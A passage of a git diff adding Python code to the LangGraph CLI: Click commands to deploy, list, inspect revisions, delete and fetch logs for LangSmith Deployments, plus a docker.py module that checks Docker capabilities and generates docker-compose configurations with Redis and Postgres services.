+                        "use a workspace-scoped API key."
+                    ) from None
+                click.secho(
+                    "Your API key is org-scoped and requires a workspace ID.",
+                    fg="yellow",
+                )
+                click.secho(
+                    "Find your workspace ID in LangSmith under Settings > Workspaces.",
+                    fg="yellow",
+                )
+                client._client.headers["X-Tenant-ID"] = click.prompt("Workspace ID")
+                prompted_for_tenant = True
+                continue
+            if err.status_code == 403 and "not enabled" in err.message.lower():
+                smith_base = _smith_dashboard_base_url(client._base_url)
+                raise HostBackendError(
+                    "LangSmith Deployment is not enabled for this organization. "
+                    f"Enable it at {smith_base}/host/deployments"
+                    " (ensure this matches the organization for your API key).",
+                    status_code=403,
+                ) from None
+            raise
+
+
+# ---------------------------------------------------------------------------
+# Click options shared by deploy commands
+# ---------------------------------------------------------------------------
+
+OPT_HOST_API_KEY = click.option(
+    "--api-key",
+    envvar="LANGGRAPH_HOST_API_KEY",
+    help=(
+        "API key. Can also be set via LANGGRAPH_HOST_API_KEY, "
+        "LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable or .env file."
+    ),
+)
+
+OPT_HOST_DEPLOYMENT_NAME = click.option(
+    "--name",
+    envvar=_DEPLOYMENT_NAME_ENV,
+    help=(
+        "Deployment name. Can also be set via LANGSMITH_DEPLOYMENT_NAME "
+        "environment variable or .env file. Defaults to current directory name "
+        "if --deployment-id is not provided."
+    ),
+)
+
+OPT_HOST_URL = click.option(
+    "--host-url",
+    envvar="LANGGRAPH_HOST_URL",
+    default="https://api.host.langchain.com",
+    hidden=True,
+)
+
+OPT_VERBOSE = click.option(
+    "--verbose",
+    is_flag=True,
+    default=False,
+    help="Show more output from the server logs",
+)
+
+
+class NestedHelpGroup(click.Group):
+    """Click group that shows one level of nested subcommands in top-level help."""
+
+    def format_commands(
+        self, ctx: click.Context, formatter: click.HelpFormatter
+    ) -> None:
+        command_entries: list[tuple[str, click.Command]] = []
+        # Collect the top-level commands first, then append one level of nested
+        # subcommands using names like "deploy list" so they show up in the
+        # top-level help output.
+        for command_name in self.list_commands(ctx):
+            command = self.get_command(ctx, command_name)
+            if command is None or command.hidden:
+                continue
+            command_entries.append((command_name, command))
+            if isinstance(command, click.Group):
+                # Build a child context so Click resolves the subcommands the same
+                # way it would for the nested group itself.
+                sub_ctx = click.Context(command, info_name=command_name, parent=ctx)
+                for subcommand_name in command.list_commands(sub_ctx):
+                    subcommand = command.get_command(sub_ctx, subcommand_name)
+                    if subcommand is None or subcommand.hidden:
+                        continue
+                    command_entries.append(
+                        (f"{command_name} {subcommand_name}", subcommand)
+                    )
+
+        # Compute the available width for help text up front so we can truncate
+        # descriptions before handing them to Click. That keeps each command on
+        # a single line instead of allowing wrapped descriptions.
+        command_width = max((len(name) for name, _ in command_entries), default=0)
+        help_width = max(formatter.width - command_width - 6, 10)
+        rows = [
+            (name, command.get_short_help_str(help_width))
+            for name, command in command_entries
+        ]
+
+        if rows:
+            # Render the flattened command list using Click's standard
+            # definition-list formatter so alignment stays consistent with the
+            # rest of the CLI help output.
+            with formatter.section("Commands"):
+                formatter.write_dl(rows)
+
+
+class DeployGroup(NestedHelpGroup):
+    """Group that treats leading '-' args as passthrough docker flags."""
+
+    def parse_args(self, ctx: click.Context, args: list[str]) -> list[str]:
+        """Treat leading option-like subcommand tokens as passthrough args.
+
+        Click stores the unresolved nested command token on the context after
+        `Group.parse_args()` runs, but the backing attribute changed across
+        supported Click versions. Click 8.1.x stores the value directly on
+        `protected_args`, while Click 8.2+ stores it on `_protected_args`
+        and exposes `protected_args` as a deprecated compatibility property.
+        Since this package allows `click>=8.1.7`, we need to check both
+        names to support the full version range without relying on one
+        version-specific internal detail.
+        """
+        result = super().parse_args(ctx, args)
+        protected_args = ctx.__dict__.get("protected_args")
+        if protected_args is None:
+            protected_args = ctx.__dict__.get("_protected_args", [])
+        if protected_args and protected_args[0].startswith("-"):
+            ctx.args = [*protected_args, *ctx.args]
+            if "protected_args" in ctx.__dict__:
+                ctx.protected_args = []
+            elif "_protected_args" in ctx.__dict__:
+                ctx._protected_args = []
+            return ctx.args
+        return result
+
+
+def _deploy_base_options(
+    func: Callable | None = None,
+    *,
+    include_docker_args: bool = True,
+    validate_config_path: bool = True,
+):
+    """Apply shared deploy flags.
+
+    The group shares most options but should not consume subcommands, so the
+    docker build args are only attached when requested.
+    """
+
+    def _apply(target: Callable) -> Callable:
+        decorators = [
+            OPT_HOST_API_KEY,
+            OPT_HOST_DEPLOYMENT_NAME,
+            click.option(
+                "--deployment-id",
+                help=(
+                    "ID of an existing deployment to update. If omitted, "
+                    "--name is used to find or create the deployment."
+                ),
+            ),
+            click.option(
+                "--deployment-type",
+                type=click.Choice(["dev", "prod"]),
+                default="dev",
+                show_default=True,
+                help="Deployment type (used when creating a new deployment).",
+            ),
+            click.option(
+                "--no-wait",
+                is_flag=True,
+                default=False,
+                help="Skip waiting for deployment status.",
+            ),
+            OPT_VERBOSE,
+            OPT_HOST_URL,
+            click.option("--image-name", hidden=True),
+            click.option(
+                "--tag",
+                "-t",
+                default="latest",
+                show_default=True,
+                help="Tag to use for the pushed deployment image.",
+            ),
+            click.option(
+                "--image",
+                help=(
+                    "Use an existing local image reference (e.g. repo:tag) and "
+                    "skip building. The image must target linux/amd64."
+                ),
+            ),
+            click.option(
+                "--config",
+                "-c",
+                default=DEFAULT_CONFIG,
+                hidden=True,
+                type=click.Path(
+                    exists=validate_config_path,
+                    file_okay=True,
+                    dir_okay=False,
+                    resolve_path=True,
+                    path_type=pathlib.Path,
+                ),
+            ),
+            click.option("--pull/--no-pull", default=True, hidden=True),
+            click.option("--base-image", hidden=True),
+            click.option("--install-command", hidden=True),
+            click.option("--build-command", hidden=True),
+            click.option("--api-version", type=str, hidden=True),
+            click.option(
+                "--remote/--no-remote",
+                "remote_build_flag",
+                default=None,
+                help=(
+                    "Force remote or local build. By default, builds remotely "
+                    "if Docker is not available locally."
+                ),
+            ),
+            click.option(
+                "--json",
+                "json_output",
+                is_flag=True,
+                default=False,
+                help="Emit structured JSON-lines to stdout instead of human-readable text.",
+            ),
+            click.option(
+                "--no-input",
+                is_flag=True,
+                default=False,
+                help="Never prompt for input; fail with an error if a required value is missing.",
+            ),
+        ]
+        if include_docker_args:
+            # Only attach build args to the default command; on the group they
+            # would capture subcommand names like `list` before Click resolves
+            # them, making those subcommands unreachable.
+            decorators.append(
+                click.argument("docker_build_args", nargs=-1, type=click.UNPROCESSED)
+            )
+        for decorator in reversed(decorators):
+            target = decorator(target)
+        return target
+
+    return _apply(func) if func is not None else _apply
+
+
+# ---------------------------------------------------------------------------
+# Deploy CLI group and commands
+# ---------------------------------------------------------------------------
+
+
+@click.group(
+    cls=DeployGroup,
+    help=(
+        "[Beta] Build and deploy a LangGraph image to LangSmith Deployment.\n\n"
+        "This command is in beta and under active development. "
+        "Expect frequent updates and improvements.\n\n"
+        "Run from the root of your LangGraph project (where langgraph.json "
+        "is located). This command also accepts build flags (--base-image, "
+        "--config, --pull, etc.). See 'langgraph build --help' for details."
+    ),
+    context_settings=dict(ignore_unknown_options=True, allow_extra_args=True),
+    invoke_without_command=True,  # allow `deploy` click group to execute without command
+)
+@_deploy_base_options(include_docker_args=False, validate_config_path=False)
+@click.pass_context
+@log_command
+def deploy(ctx: click.Context, **_: object):
+    # We register deploy as both a group and a command here.
+    # if we detect no subcommand, we run _deploy_cmd (basically run langgraph deploy as a top level command)
+    # otherwise, we return None here and click will proceed to actually run the subcommand (list or delete)
+    if ctx.invoked_subcommand is not None:
+        return
+    docker_build_args = tuple(ctx.args)
+    ctx.args = []  # Prevent Click from re-processing passthrough args later.
+    return ctx.forward(_deploy_cmd, docker_build_args=docker_build_args)
+
+
+@_deploy_base_options()
+@click.command(context_settings=dict(ignore_unknown_options=True))
+def _deploy_cmd(
+    config: pathlib.Path,
+    pull: bool,
+    verbose: bool,
+    api_version: str | None,
+    host_url: str | None,
+    api_key: str | None,
+    deployment_id: str | None,
+    deployment_type: str,
+    name: str | None,
+    image_name: str | None,
+    image: str | None,
+    tag: str,
+    base_image: str | None,
+    install_command: str | None,
+    build_command: str | None,
+    no_wait: bool,
+    remote_build_flag: bool | None,
+    docker_build_args: Sequence[str],
+    json_output: bool,
+    no_input: bool,
+):
+    global _emitter, _no_input
+    _emitter = _Emitter(json_mode=json_output)
+    _no_input = no_input
+    em = _emitter
+
+    em.note(
+        "Note: 'langgraph deploy' is in beta. Expect frequent updates and improvements."
+    )
+    if not json_output:
+        click.echo()
+
+    # -- 1. Preflight --
+    validate_deploy_commands(install_command, build_command)
+    config_json = langgraph_cli.config.validate_config_file(config)
+    warn_non_wolfi_distro(config_json, emit=em.note)
+
+    env_vars = _parse_env_from_config(config_json, config)
+
+    if not deployment_id and not name:
+        name = env_vars.get(_DEPLOYMENT_NAME_ENV)
+    if not deployment_id and not name:
+        default_name = normalize_name(pathlib.Path.cwd().name)
+        if no_input:
+            name = default_name
+        else:
+            name = click.prompt("Deployment name", default=default_name)
+    if name and not deployment_id:
+        name = normalize_name(name)
+        if not no_input:
+            env_path = _resolve_env_path(config_json, config)
+            if env_path is not None:
+                set_key(str(env_path), _DEPLOYMENT_NAME_ENV, name)
+                em.info(f"Saved deployment name to {env_path}")
+
+    secrets = _secrets_from_env(_env_without_deployment_name(env_vars))
+
+    if image and remote_build_flag is True:
+        raise click.UsageError("--image cannot be combined with --remote builds.")
+
+    use_remote_build, local_build_error = _resolve_build_mode(
+        remote_build_flag, force_local=image is not None
+    )
+    if use_remote_build and remote_build_flag is None and local_build_error:
+        em.note(f"{local_build_error}\nUsing remote build instead.")
+        if not json_output:
+            click.echo()
+
+    # -- 2. Resolve / create deployment --
+    client = _create_host_backend_client(host_url, api_key, env_vars=env_vars)
+    step = 1
+
+    deployment_id, needs_creation, step = _resolve_deployment(
+        client,
+        step,
+        deployment_id,
+        name,
+        not_found_message=(
+            "No deployment found. Will create."
+            if use_remote_build
+            else "No deployment found. Will create after build."
+        ),
+    )
+
+    if needs_creation:
+        deployment_id, step = _create_deployment(
+            client,
+            step,
+            name=name,
+            deployment_type=deployment_type,
+            source="internal_source" if use_remote_build else "internal_docker",
+            secrets=secrets,
+        )
+
+    if not deployment_id:
+        raise click.ClickException("Failed to determine deployment ID")
+
+    # Scan local sources for tracked packages so the new revision carries
+    # the same metadata GitHub-backed deploys produce. Failures must never
+    # block a deploy.
+    try:
+        tracked_packages = find_tracked_packages(config, config_json) or None
+    except Exception as exc:
+        em.warn(f"Skipped tracked-package scan: {exc}")
+        tracked_packages = None
+
+    # -- 3. Build (divergent path) --
+    if use_remote_build:
+        build_result = _run_remote_build(
+            client=client,
+            deployment_id=deployment_id,
+            step=step,
+            config=config,
+            config_json=config_json,
+            verbose=verbose,
+            install_command=install_command,
+            build_command=build_command,
+            secrets=secrets,
+            tracked_packages=tracked_packages,
+        )
+    else:
+        build_result = _run_local_build(
+            client=client,
+            deployment_id=deployment_id,
+            step=step,
+            config=config,
+            config_json=config_json,
+            verbose=verbose,
+            pull=pull,
+            api_version=api_version,
+            base_image=base_image,
+            image_name=image_name,
+            prebuilt_image=image,
+            name=name,
+            tag=tag,
+            install_command=install_command,
+            build_command=build_command,
+            docker_build_args=docker_build_args,
+            secrets=secrets,
+            tracked_packages=tracked_packages,
+        )
+
+    # -- 4. Shared wait + result --
+    dep_status_url = _emit_deployment_status_url(
+        build_result.updated,
+        deployment_id,
+        host_url,
+    )
+
+    if no_wait:
+        em.info(build_result.no_result_message)
+        return
+
+    last_status, revision_id = _poll_revision_status(
+        client,
+        deployment_id,
+        progress_message=build_result.progress_message,
+        timeout_seconds=build_result.timeout_seconds,
+        poll_interval_seconds=build_result.poll_interval_seconds,
+        on_poll=build_result.on_poll,
+        on_interrupt=build_result.on_interrupt,
+    )
+    if not last_status:
+        em.info(build_result.no_result_message)
+        return
+
+    if (
+        build_result.show_build_logs_on_failure
+        and last_status == "BUILD_FAILED"
+        and not verbose
+        and revision_id is not None
+    ):
+        em.error("Last build log lines:")
+        try:
+            logs_resp = client.get_build_logs(
+                deployment_id,
+                revision_id,
+                {"order": "desc", "limit": 30},
+            )
+            if isinstance(logs_resp, dict):
+                entries = list(reversed(logs_resp.get("logs", [])))
+                for entry in entries:
+                    msg = entry.get("message", "")
+                    if msg:
+                        em.log(msg)
+        except Exception:
+            em.error("(failed to fetch build logs)")
+        em.warn("Re-run with --verbose to see full build output.")
+
+    _print_deployment_result(
+        client,
+        deployment_id,
+        last_status,
+        dashboard_label="Deployment dashboard",
+        status_url=dep_status_url,
+    )
+
+
+# ---------------------------------------------------------------------------
+# deploy list
+# ---------------------------------------------------------------------------
+
+
+@OPT_HOST_API_KEY
+@OPT_HOST_URL
+@click.option(
+    "--name-contains",
+    default="",
+    help="Only show deployments whose names contain this value.",
+)
+@deploy.command("list", help="[Beta] List LangSmith Deployments.")
+def deploy_list(api_key: str | None, host_url: str | None, name_contains: str) -> None:
+    client = _create_host_backend_client(host_url, api_key)
+    response = _call_host_backend_with_optional_tenant(
+        client,
+        lambda c: c.list_deployments(name_contains=name_contains),
+    )
+    resources = response.get("resources") if isinstance(response, dict) else None
+    deployments = (
+        [item for item in resources if isinstance(item, dict)]
+        if isinstance(resources, list)
+        else []
+    )
+    if not deployments:
+        click.echo("No deployments found.")
+        return
+    click.echo(format_deployments_table(deployments))
+
+
+# ---------------------------------------------------------------------------
+# deploy revisions
+# ---------------------------------------------------------------------------
+
+
+@deploy.group(
+    "revisions", cls=NestedHelpGroup, help="[Beta] Manage deployment revisions."
+)
+def deploy_revisions() -> None:
+    pass
+
+
+@OPT_HOST_API_KEY
+@OPT_HOST_URL
+@click.option(
+    "--limit",
+    type=int,
+    default=10,
+    show_default=True,
+    help="Maximum number of revisions to return.",
+)
+@click.argument("deployment_id")
+@deploy_revisions.command(
+    "list",
+    help=(
+        "[Beta] List revisions for a LangSmith Deployment.\n\n"
+        "Use the `deploy list` command to list deployment IDs."
+    ),
+)
+def deploy_revisions_list(
+    api_key: str | None, host_url: str | None, limit: int, deployment_id: str
+) -> None:
+    client = _create_host_backend_client(host_url, api_key)
+    response = _call_host_backend_with_optional_tenant(
+        client,
+        lambda c: c.list_revisions(deployment_id, limit=limit),
+    )
+    resources = response.get("resources") if isinstance(response, dict) else None
+    revisions = (
+        [item for item in resources if isinstance(item, dict)]
+        if isinstance(resources, list)
+        else []
+    )
+    if not revisions:
+        click.echo(f"No revisions found for deployment {deployment_id}.")
+        return
+    click.echo(format_revisions_table(revisions))
+
+
+# ---------------------------------------------------------------------------
+# deploy delete
+# ---------------------------------------------------------------------------
+
+
+@OPT_HOST_API_KEY
+@OPT_HOST_URL
+@click.option(
+    "--force",
+    is_flag=True,
+    default=False,
+    help="Delete without prompting for confirmation.",
+)
+@click.argument("deployment_id")
+@deploy.command(
+    "delete",
+    help=(
+        "[Beta] Delete a LangSmith Deployment.\n\n"
+        "Use the `deploy list` command to list deployment IDs."
+    ),
+)
+def deploy_delete(
+    api_key: str | None, host_url: str | None, force: bool, deployment_id: str
+) -> None:
+    if not force:
+        response = click.prompt(
+            click.style(
+                f"Are you sure you want to delete deployment ID {deployment_id}? (Y/n)",
+                fg="yellow",
+            ),
+            default="Y",
+            show_default=False,
+        )
+        if response.strip().lower() not in {"y", "yes"}:
+            raise click.Abort()
+    client = _create_host_backend_client(host_url, api_key)
+    _call_host_backend_with_optional_tenant(
+        client,
+        lambda c: c.delete_deployment(deployment_id),
+    )
+    click.secho(f"Deleted deployment {deployment_id}.", fg="green")
+
+
+# ---------------------------------------------------------------------------
+# deploy logs
+# ---------------------------------------------------------------------------
+
+
+@OPT_HOST_API_KEY
+@OPT_HOST_DEPLOYMENT_NAME
+@click.option(
+    "--deployment-id",
+    help="Deployment ID. If omitted, --name is used to find the deployment.",
+)
+@click.option(
+    "--type",
+    "log_type",
+    type=click.Choice(["deploy", "build"]),
+    default="deploy",
+    show_default=True,
+    help=(
+        "Log stream to fetch: 'deploy' shows agent server runtime logs; "
+        "'build' shows build logs (for deployments built remotely)."
+    ),
+)
+@click.option(
+    "--revision-id",
+    help="Specific revision ID. For build logs, defaults to latest revision.",
+)
+@click.option(
+    "--level",
+    type=click.Choice(
+        ["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"], case_sensitive=False
+    ),
+    help="Filter by log level.",
+)
+@click.option(
+    "--limit",
+    type=int,
+    default=100,
+    show_default=True,
+    help="Max log entries to fetch.",
+)
+@click.option(
+    "--query",
+    "-q",
+    help="Search string filter.",
+)
+@click.option(
+    "--start-time",
+    help="ISO8601 start time (e.g. 2026-03-08T00:00:00Z).",
+)
+@click.option(
+    "--end-time",
+    help="ISO8601 end time. (e.g. 2026-03-08T00:00:00Z)",
+)
+@click.option(
+    "--follow",
+    "-f",
+    is_flag=True,
+    default=False,
+    help="Continuously poll for new logs.",
+)
+@OPT_HOST_URL
+@deploy.command(
+    "logs",
+    help=(
+        "[Beta] Fetch LangSmith Deployment logs. Use 'deploy' for agent runtime "
+        "logs, or 'build' for remote build logs."
+    ),
+)
+@log_command
+def deploy_logs(
+    api_key: str | None,
+    name: str | None,
+    deployment_id: str | None,
+    log_type: str,
+    revision_id: str | None,
+    level: str | None,
+    limit: int,
+    query: str | None,
+    start_time: str | None,
+    end_time: str | None,
+    follow: bool,
+    host_url: str,
+):
+    env_vars = _parse_env_from_config({}, pathlib.Path.cwd() / DEFAULT_CONFIG)
+    client = _create_host_backend_client(host_url, api_key, env_vars=env_vars)
+    if not deployment_id and not name:
+        name = env_vars.get(_DEPLOYMENT_NAME_ENV)
+    validate_deployment_selector(deployment_id, name)
+    if deployment_id:
+        dep_id = deployment_id
+    else:
+        found = _call_host_backend_with_optional_tenant(
+            client, lambda c: find_deployment_id_by_name(c, name)
+        )
+        if not found:
+            raise click.ClickException(f"Deployment '{name}' not found.")
+        dep_id = str(found)
+
+    if log_type == "build" and not revision_id:
+        revisions_resp = client.list_revisions(dep_id, limit=1)
+        resources = (
+            revisions_resp.get("resources", [])
+            if isinstance(revisions_resp, dict)
+            else []
+        )
+        if not resources:
+            raise click.ClickException(
+                "No revisions found for this deployment. Cannot fetch build logs."
+            )
+        revision_id = str(resources[0]["id"])
+        click.secho(f"Using latest revision: {revision_id}", fg="cyan")
+
+    payload: dict = {"limit": limit, "order": "desc"}
+    if level:
+        payload["level"] = level.upper()
+    if query:
+        payload["query"] = query
+    if start_time:
+        payload["start_time"] = start_time
+    if end_time:
+        payload["end_time"] = end_time
+
+    def _fetch(request_payload: dict) -> list[dict]:
+        if log_type == "build":
+            resp = client.get_build_logs(dep_id, revision_id, request_payload)
+        else:
+            resp = client.get_deploy_logs(dep_id, request_payload, revision_id)
+
+        if isinstance(resp, dict):
+            return resp.get("logs", [])
+        return []
+
+    def _print_entries(entries: list[dict], *, reverse: bool = False) -> None:
+        iterable = reversed(entries) if reverse else entries
+        for entry in iterable:
+            line = format_log_entry(entry)
+            fg = level_fg(entry.get("level", ""))
+            click.secho(line, fg=fg)
+
+    def _fetch_and_print(request_payload: dict, *, reverse: bool = False) -> list[dict]:
+        entries = _fetch(request_payload)
+        _print_entries(entries, reverse=reverse)
+        return entries
+
+    def _fetch_and_print_new(request_payload: dict, seen_ids: set[str]) -> list[dict]:
+        entries = _fetch(request_payload)
+        new = [e for e in entries if e.get("id", "") not in seen_ids]
+        if new:
+            _print_entries(new)
+            seen_ids.update(e.get("id", "") for e in new)
+        return new
+
+    # initial log fetch will be newest -> oldest, so we need to reverse
+    entries = _fetch_and_print(payload, reverse=True)
+
+    if not follow:
+        if not entries:
+            click.secho("No log entries found.", fg="yellow")
+        return
+
+    payload["order"] = "asc"
+    seen_ids: set[str] = {e.get("id", "") for e in entries if e.get("id")}
+
+    def _update_start_time(ts) -> None:
+        if ts is None:
+            return
+        if isinstance(ts, (int, float)):
+            dt = datetime.fromtimestamp(ts / 1000, tz=timezone.utc)
+            payload["start_time"] = dt.isoformat()
+        else:
+            payload["start_time"] = str(ts)
+
+    if entries:
+        # entries are in descending order here, so index 0 is the newest log
+        _update_start_time(entries[0].get("timestamp"))
+
+    try:
+        while True:
+            time.sleep(2)
+            new_entries = _fetch_and_print_new(payload, seen_ids)
+            if new_entries:
+                _update_start_time(new_entries[-1].get("timestamp"))
+    except KeyboardInterrupt:
+        click.echo("\nStopped.")
diff --git a/libs/cli/langgraph_cli/docker.py b/libs/cli/langgraph_cli/docker.py
new file mode 100644
index 0000000..a376b56
--- /dev/null
+++ b/libs/cli/langgraph_cli/docker.py
@@ -0,0 +1,406 @@
+import copy
+import json
+import pathlib
+import platform
+import shutil
+from collections.abc import Callable, Sequence
+from typing import Literal, NamedTuple
+
+import click.exceptions
+
+import langgraph_cli.config
+from langgraph_cli.exec import subp_exec
+
+ROOT = pathlib.Path(__file__).parent.resolve()
+DEFAULT_POSTGRES_URI = (
+    "postgres://postgres:postgres@langgraph-postgres:5432/postgres?sslmode=disable"
+)
+
+
+class Version(NamedTuple):
+    major: int
+    minor: int
+    patch: int
+
+
+DockerComposeType = Literal["plugin", "standalone"]
+
+
+class DockerCapabilities(NamedTuple):
+    version_docker: Version
+    version_compose: Version
+    healthcheck_start_interval: bool
+    compose_type: DockerComposeType = "plugin"
+
+
+def _parse_version(version: str) -> Version:
+    parts = version.split(".", 2)
+    if len(parts) == 1:
+        major = parts[0]
+        minor = "0"
+        patch = "0"
+    elif len(parts) == 2:
+        major, minor = parts
+        patch = "0"
+    else:
+        major, minor, patch = parts
+    return Version(
+        int(major.lstrip("v")), int(minor), int(patch.split("-")[0].split("+")[0])
+    )
+
+
+def can_build_locally() -> tuple[bool, str | None]:
+    """Return whether local deployment builds can run on this machine.
+
+    Checks:
+    - Docker binary is installed
+    - Docker daemon is running
+    - Buildx is available when cross-compilation is required (non-x86_64)
+    """
+    if shutil.which("docker") is None:
+        return (
+            False,
+            "Docker is required but not installed.\n"
+            "Install Docker Desktop: https://docs.docker.com/get-docker/",
+        )
+    try:
+        import subprocess
+
+        docker_info = subprocess.run(
+            ["docker", "info"],
+            capture_output=True,
+            timeout=10,
+        )
+        if docker_info.returncode != 0:
+            return (
+                False,
+                "Docker is installed but not running.\nStart Docker and try again.",
+            )
+
+        if platform.machine() != "x86_64":
+            buildx = subprocess.run(
+                ["docker", "buildx", "version"],
+                capture_output=True,
+                timeout=10,
+            )
+            if buildx.returncode != 0:
+                return (
+                    False,
+                    "Docker Buildx is required but not installed.\n"
+                    "Your machine architecture ("
+                    + platform.machine()
+                    + ") requires Buildx to cross-compile images for linux/amd64.\n"
+                    "Install Buildx: https://docs.docker.com/build/install-buildx/",
+                )
+        return True, None
+    except Exception:
+        return False, "Unable to verify local Docker build support."
+
+
+def check_capabilities(runner) -> DockerCapabilities:
+    # check docker available
+    if shutil.which("docker") is None:
+        raise click.UsageError("Docker not installed") from None
+
+    try:
+        stdout, _ = runner.run(
+            subp_exec("docker", "info", "-f", "{{json .}}", collect=True)
+        )
+        info = json.loads(stdout)
+    except (click.exceptions.Exit, json.JSONDecodeError):
+        raise click.UsageError("Docker not installed or not running") from None
+
+    if not info["ServerVersion"]:
+        raise click.UsageError("Docker not running") from None
+
+    compose_type: DockerComposeType
+    try:
+        compose = next(
+            p for p in info["ClientInfo"]["Plugins"] if p["Name"] == "compose"
+        )
+        compose_version_str = compose["Version"]
+        compose_type = "plugin"
+    except (KeyError, StopIteration):
+        if shutil.which("docker-compose") is None:
+            raise click.UsageError("Docker Compose not installed") from None
+
+        compose_version_str, _ = runner.run(
+            subp_exec("docker-compose", "--version", "--short", collect=True)
+        )
+        compose_type = "standalone"
+
+    # parse versions
+    docker_version = _parse_version(info["ServerVersion"])
+    compose_version = _parse_version(compose_version_str)
+
+    # check capabilities
+    return DockerCapabilities(
+        version_docker=docker_version,
+        version_compose=compose_version,
+        healthcheck_start_interval=docker_version >= Version(25, 0, 0),
+        compose_type=compose_type,
+    )
+
+
+def debugger_compose(*, port: int | None = None, base_url: str | None = None) -> dict:
+    if port is None:
+        return ""
+
+    config = {
+        "langgraph-debugger": {
+            "image": "langchain/langgraph-debugger",
+            "restart": "on-failure",
+            "depends_on": {
+                "langgraph-postgres": {"condition": "service_healthy"},
+            },
+            "ports": [f'"{port}:3968"'],
+        }
+    }
+
+    if base_url:
+        config["langgraph-debugger"]["environment"] = {
+            "VITE_STUDIO_LOCAL_GRAPH_URL": base_url
+        }
+
+    return config
+
+
+# Function to convert dictionary to YAML
+def dict_to_yaml(d: dict, *, indent: int = 0) -> str:
+    """Convert a dictionary to a YAML string."""
+    yaml_str = ""
+
+    for idx, (key, value) in enumerate(d.items()):
+        # Format things in a visually appealing way
+        # Use an extra newline for top-level keys only
+        if idx >= 1 and indent < 2:
+            yaml_str += "\n"
+        space = "    " * indent
+        if isinstance(value, dict):
+            yaml_str += f"{space}{key}:\n" + dict_to_yaml(value, indent=indent + 1)
+        elif isinstance(value, list):
+            yaml_str += f"{space}{key}:\n"
+            for item in value:
+                yaml_str += f"{space}    - {item}\n"
+        else:
+            yaml_str += f"{space}{key}: {value}\n"
+    return yaml_str
+
+
+def compose_as_dict(
+    capabilities: DockerCapabilities,
+    *,
+    port: int,
+    debugger_port: int | None = None,
+    debugger_base_url: str | None = None,
+    # postgres://user:password@host:port/database?option=value
+    postgres_uri: str | None = None,
+    # If you are running against an already-built image, you can pass it here
+    image: str | None = None,
+    # Base image to use for the LangGraph API server
+    base_image: str | None = None,
+    # API version of the base image
+    api_version: str | None = None,
+    engine_runtime_mode: str = "combined_queue_worker",
+) -> dict:
+    """Create a docker compose file as a dictionary in YML style."""
+    if postgres_uri is None:
+        include_db = True
+        postgres_uri = DEFAULT_POSTGRES_URI
+    else:
+        include_db = False
+
+    # The services below are defined in a non-intuitive order to match
+    # the existing unit tests for this function.
+    # It's fine to re-order just requires updating the unit tests, so it should
+    # be done with caution.
+
+    # Define the Redis service first as per the test order
+    services = {
+        "langgraph-redis": {
+            "image": "redis:6",
+            "healthcheck": {
+                "test": "redis-cli ping",
+                "interval": "5s",
+                "timeout": "1s",
+                "retries": 5,
+            },
+        }
+    }
+
+    # Add Postgres service before langgraph-api if it is needed
+    if include_db:
+        services["langgraph-postgres"] = {
+            "image": "pgvector/pgvector:pg16",
+            "ports": ['"5433:5432"'],
+            "environment": {
+                "POSTGRES_DB": "postgres",
+                "POSTGRES_USER": "postgres",
+                "POSTGRES_PASSWORD": "postgres",
+            },
+            "command": ["postgres", "-c", "shared_preload_libraries=vector"],
+            "volumes": ["langgraph-data:/var/lib/postgresql/data"],
+            "healthcheck": {
+                "test": "pg_isready -U postgres",
+                "start_period": "10s",
+                "timeout": "1s",
+                "retries": 5,
+            },
+        }
+        if capabilities.healthcheck_start_interval:
+            services["langgraph-postgres"]["healthcheck"]["interval"] = "60s"
+            services["langgraph-postgres"]["healthcheck"]["start_interval"] = "1s"
+        else:
+            services["langgraph-postgres"]["healthcheck"]["interval"] = "5s"
+
+    # Add optional debugger service if debugger_port is specified
+    if debugger_port:
+        services["langgraph-debugger"] = debugger_compose(
+            port=debugger_port, base_url=debugger_base_url
+        )["langgraph-debugger"]
+
+    # Add langgraph-api service
+    api_environment = {
+        "REDIS_URI": "redis://langgraph-redis:6379",
+        "POSTGRES_URI": postgres_uri,
+    }
+    if engine_runtime_mode == "distributed":
+        api_environment["N_JOBS_PER_WORKER"] = '"0"'
+
+    services["langgraph-api"] = {
+        "ports": [f'"{port}:8000"'],
+        "depends_on": {
+            "langgraph-redis": {"condition": "service_healthy"},
+        },
+        "environment": api_environment,
+    }
+    if image:
+        services["langgraph-api"]["image"] = image
+
+    # If Postgres is included, add it to the dependencies of langgraph-api
+    if include_db:
+        services["langgraph-api"]["depends_on"]["langgraph-postgres"] = {
+            "condition": "service_healthy"
+        }
+
+    # Additional healthcheck for langgraph-api if required
+    if capabilities.healthcheck_start_interval:
+        services["langgraph-api"]["healthcheck"] = {
+            "test": "python /api/healthcheck.py",
+            "interval": "60s",
+            "start_interval": "1s",
+            "start_period": "10s",
+        }
+
+    # Final compose dictionary with volumes included if needed
+    compose_dict = {}
+    if include_db:
+        compose_dict["volumes"] = {"langgraph-data": {"driver": "local"}}
+    compose_dict["services"] = services
+
+    return compose_dict
+
+
+def compose(
+    capabilities: DockerCapabilities,
+    *,
+    port: int,
+    debugger_port: int | None = None,
+    debugger_base_url: str | None = None,
+    # postgres://user:password@host:port/database?option=value
+    postgres_uri: str | None = None,
+    image: str | None = None,
+    base_image: str | None = None,
+    api_version: str | None = None,
+    engine_runtime_mode: str = "combined_queue_worker",
+) -> str:
+    """Create a docker compose file as a string."""
+    compose_content = compose_as_dict(
+        capabilities,
+        port=port,
+        debugger_port=debugger_port,
+        debugger_base_url=debugger_base_url,
+        postgres_uri=postgres_uri,
+        image=image,
+        base_image=base_image,
+        api_version=api_version,
+        engine_runtime_mode=engine_runtime_mode,
+    )
+    compose_str = dict_to_yaml(compose_content)
+    return compose_str
+
+
+def build_docker_image(
+    runner,
+    set: Callable[[str], None],
+    config: pathlib.Path,
+    config_json: dict,
+    base_image: str | None,
+    api_version: str | None,
+    pull: bool,
+    tag: str,
+    passthrough: Sequence[str] = (),
+    install_command: str | None = None,
+    build_command: str | None = None,
+    docker_command: Sequence[str] | None = None,
+    extra_flags: Sequence[str] = (),
+    verbose: bool = True,
+):
+    """Build a Docker image from a LangGraph config."""
+    # pull latest images
+    if pull:
+        runner.run(
+            subp_exec(
+                "docker",
+                "pull",
+                langgraph_cli.config.docker_tag(config_json, base_image, api_version),
+                verbose=verbose,
+            )
+        )
+    set("Building...")
+    # apply options
+    args = [
+        "-f",
+        "-",  # stdin
+        "-t",
+        tag,
+    ]
+    # determine build context: use current directory for JS projects, config parent for Python
+    is_js_project = config_json.get("node_version") and not config_json.get(
+        "python_version"
+    )
